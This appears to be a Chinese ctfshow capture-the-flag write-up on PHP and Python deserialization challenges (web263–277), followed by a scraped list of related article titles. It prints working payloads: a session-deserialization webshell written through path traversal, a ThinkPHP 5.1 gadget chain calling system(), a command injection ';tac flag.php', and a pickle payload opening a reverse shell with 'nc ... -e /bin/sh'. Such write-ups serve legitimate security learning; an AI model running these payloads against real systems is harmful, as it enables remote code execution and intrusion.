$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
之后cookie传参就好了,也可以直接在本来的页面直接get传参
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
得到flag
?web263
*反序列化漏洞
深入浅析php的session反序列化漏洞问题
代码审计 php中session的存储方式
利用点是session.serialize_handler与php.ini的配置不同引起的反序列化,至于为什么不同,如果相同的也就没必要加上这句设置了,毕竟是默认配置对吧 1
0x01:
打开场景,是一个登陆界面,之前遇到过类似的情况,直接访问www.zip
下载源码
check.php
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){$data= $db->get('admin',[ 'id','UserName0'],["AND"=>["UserName0[=]"=>$GET['u'],"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破]]);if($data['id']){//登陆成功取消次数累计$_SESSION['limit']= 0;echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));}else{//登陆失败累计次数加1$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);echo json_encode(array("error","msg"=>"登陆失败"));}
}
index.php
error_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}
?>
inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW(['database_type' => 'mysql','database_name' => 'web','server' => 'localhost','username' => 'root','password' => 'root','charset' => 'utf8','port' => 3306,'prefix' => '','option' => [PDO::ATTR_CASE => PDO::CASE_NATURAL]
]);
class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}
function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}
0x02:代码审计
#写入cookie
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}
#调用cookie
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
#利用file_put_contents函数
function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
如果username为php文件名,password为一句话就可以了。
payload:
class User{public $username='admin/../../../../../../../../../../var/www/html/1.php';public $password='<?php system('ls');?>';public $status='a';}$a=new User();echo base64_encode('|'.serialize($a));
(暂时看不懂,还需学习
web264
*字符串逃逸
*序列化和session
error_reporting(0);
session_start();
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}
if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}
0x01:代码审计
根据message.php
可知需要将token等于admin
if($msg->token=='admin'){echo $flag;}
index.php
中存在
$umsg = str_replace('fuck', 'loveU', serialize($msg));
在字符串替换的时候出现字符串变长的情况,所以出现了字符串逃逸的漏洞
0x02:解题
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
因为还有
if(isset($_COOKIE['msg']))
所以还要cookie随便传一个msg,再访问message.php就可以了
web265
*地址相同
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){echo $flag;
}
0x01:代码审计
public function login(){return $this->token===$this->password;}$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){echo $flag;
}
重点在于这几行代码,要求token===password
成立,但是token后来有等于随机数,以为源码中没有mt_srand()
函数的出现,所以不是伪随机数,那么这么时候可以让password的地址等于token,这样的就会让等式永真
0x02:解题
poc:
<?php
class ctfshowAdmin{public $token;public $password;
}
$a=new ctfshowAdmin();
$a->password=&$a->token;
echo serialize($a);
//O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
得到flag
web266
源码:
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}
0x01:代码审计
//可以抓包
$cs = file_get_contents('php://input');
PHP输入流php://input介绍
`php://input`是个可以访问请求的原始数据的只读流。`enctype="multipart/form-data"` 的时候 php://input 是无效的。
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}
当异常被抛出时,其后的代码不会继续执行,PHP 会尝试查找匹配的 "catch" 代码块。如果异常没有被捕获,而且又没用使用 set_exception_handler() 作相应的处理的话,那么将发生一个严重的错误(致命错误),并且输出 "Uncaught Exception" (未捕获异常)的错误消息。Try, throw 和 catch(通常跑出错误,一般会跟try catch配合使用)
所以如果正则匹配到的话,__destruct
魔术方法就不会被调用
但是发现正则只是preg_match('/ctfshow/', $cs)
,对大小写是敏感的,所以只要将ctfshow大写就可以绕过正则了
0x02:解题
poc:
class ctfshow{}
$a=new ctfshow();
echo serialize($a);
//O:7:"CTFSHOW":0:{}
?web274
*thinkphp5
thinkphp5.1.x~5.2.x版本反序列化链挖掘分析
(等看懂了再记录自己的理解
poc:
<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["lin"=>["calc.exe","calc"]];$this->data = ["lin"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $config = [// 表单ajax伪装变量'var_ajax' => '_ajax', ];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>'lin'];$this->hook = ["visible"=>[$this,"isAjax"]];}
}namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
?lin=cat /f*
&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
web275
源码:
class filter{public $filename;public $filecontent;public $evilfile=false;public function __construct($f,$fn){$this->filename=$f;$this->filecontent=$fn;}public function checkevil(){if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}return $this->evilfile;}public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}}
}
if(isset($_GET['fn'])){$content = file_get_contents('php://input');$f = new filter($_GET['fn'],$content);if($f->checkevil()===false){file_put_contents($_GET['fn'], $content);copy($_GET['fn'],md5(mt_rand()).'.txt');unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);echo 'work done';}}else{echo 'where is flag?';
}
0x01:代码审计
#post
$content = file_get_contents('php://input');
#对象被销毁的时候调用,只要使得$this->evilfile为true就行了
#fn传执行的命令
public function __destruct(){if($this->evilfile){system('rm '.$this->filename);}}
if(preg_match('/php|\.\./i', $this->filename)){$this->evilfile=true;}if(preg_match('/flag/i', $this->filecontent)){$this->evilfile=true;}
#只要有一个满足就行了,但是因为filename是要执行的命令,所以filecontent要满足
0x02:解题
?fn=;tac flag.php
content=flag
web277
*python反序列化漏洞
K0rz3n
python反序列化漏洞:
原因:
利用:
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->
大佬的payload:
import pickle
import base64
class A(object):def __reduce__(self):return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
序列化和反序列化刷题记录相关推荐
- BUUCTF-2020寒假刷题记录
BUUCTF-2020寒假刷题记录 Web [RoarCTF 2019]Easy Calc 打开源码,看到calc.php,打开看到源码. 在 num 前面加个空格即可绕过 ? num=phpinfo ...
- BUUCTF刷题记录(7)
文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...
- LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)
LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...
- LeetCode刷题记录14——257. Binary Tree Paths(easy)
LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...
- LeetCode刷题记录13——705. Design HashSet(easy)
LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...
- LeetCode刷题记录12——232. Implement Queue using Stacks(easy)
LeetCode刷题记录12--232. Implement Queue using Stacks(easy) 目录 LeetCode刷题记录12--232. Implement Queue usin ...
- LeetCode刷题记录11——290. Word Pattern(easy)
LeetCode刷题记录11--290. Word Pattern(easy) 目录 LeetCode刷题记录11--290. Word Pattern(easy) 题目 语言 思路 源码 后记 题目 ...
- LeetCode刷题记录10——434. Number of Segments in a String(easy)
LeetCode刷题记录10--434. Number of Segments in a String(easy) 目录 LeetCode刷题记录9--434. Number of Segments ...
- LeetCode刷题记录9——58. Length of Last Word(easy)
LeetCode刷题记录9--58. Length of Last Word(easy) 目录 LeetCode刷题记录9--58. Length of Last Word(easy) 题目 语言 思 ...
最新文章
- 为什么是string.join(list)而不是list.join(string)?
- 【计算机网络笔记】计算机网络体系与参考模型
- 《Head First Python》第六章--定制数据对象
- ocbase 数据库 蚂蚁_iOS开发数据库篇—FMDB简单介绍
- nssl1187-排列【dp,随机卡常,树状数组】
- vue中如何设置和清除定时器setInterval
- 关于 WebRequest.RegisterPrefix
- react中对props.children进行操作
- CBV-2-CBV流程-view源码解析-面向对象-继承
- matlab2013和2014,64位机器MATLAB2013b和MATLAB2014a没有LCC编译器,怎么安装它呢?
- HashMap底层数据结构
- python读取rtf文件_在python中将unicode文本输出到RTF文件
- 大数据经典学习路线以及各阶段所发挥的作用
- 由于没有公钥,无法验证下列签名: NO_PUBKEY 4F4EA0AAE5267A6C
- xaxis python_Python中的分组Xaxis可变性图
- 2020年SEM小搜投放指南:竞价小渠道如何把效果做到极致
- 计算机学硕考公更好还是专硕,专硕 VS 学硕 你适合读哪种?
- [Migrated]榜样
- Keil的安装及使用
- 股权和更高的薪资应该选那个呢?
热门文章
- HandlerThread源码理解
- 2010经典个性签名
- 基本概念:分页池和非分页池
- win10开机占用内存大,资源管理器也看不到运行进程,非分页缓冲池直接10个G
- cocos2dx掼蛋_cocos2dx游戏开发——微信打飞机学习笔记(九)——BulletLayer的搭建...
- android incide_《inside》安卓怎么下载 inside安卓版本什么时候出
- AD学习笔记——B站学习记录
- 基于UIAutomation+Python+Unittest+Beautifulreport的WindowsGUI自动化测试框架common目录解析
- ‘vue‘ 不是内部或外部命令,也不是可运行的程序或批处理文件。
- 微信小程序-运用painter插件生成海报分享朋友圈--比canvas好用